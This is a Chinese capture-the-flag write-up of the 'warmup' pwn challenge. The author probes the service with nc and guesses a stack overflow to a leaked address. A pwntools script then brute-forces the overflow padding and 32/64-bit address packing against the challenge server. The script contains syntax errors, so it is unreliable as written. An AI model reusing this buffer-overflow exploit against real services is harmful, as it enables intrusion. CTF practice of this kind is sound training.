『攻防世界』:进阶区 | warmup

这道题感觉有点怪怪的,题目页面并没有给出附件,实验了下可以开启在线场景

 先用nc看一看程序运行起来是怎么样的。

 首先一句warm up,再给我们打印了一个地址,这个地址我猜是解题的关键,应该需要通过栈溢出到这个地址就可以吧,毕竟这只是道暖身题,但是接下来的问题是如果我们选择栈溢出则需要知道栈溢出的cylib构造的长度以及地址的打包方式。

这两个问题我可以通过脚本爆破出来就可以了,虽然逻辑非常简单,但是对于没有学习过Python的我来说还是要花费亿点功夫的。

大概就是for(i ,i < cylib, i++){  for(j =1, j<p32(), j++){io = remote();io.recv();payload = ...;io.sendline;io.interactive();}  }, 上面那个就是一点点的逻辑,不用太在意里面的错误。 = =

 最后附上老湿的exp:

from pwn import *
#context.load_level = 'debug'
addr = 0x40060d

def fuzz(r,num,flag):
    payload = 'a' * num
    if flag = =1
        payload += p32(addr)
    if flag == 2
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main()
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote("111.198.29.45",46588)
                fuzz(r,i,j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num= '+ str(i) + 'flag =' + str(j)
                r.interactive()
            except:
                r.close()

if__name__ == '__main__' :
    main()
EXP

 刚才调试了下,发现老湿傅的exp会在64停住,不能够正常的interactive(),但是cylib的长度正确是72.

老湿的博客:www.sailingplace.cn

原文地址:https://www.cnblogs.com/Zowie/p/13550184.html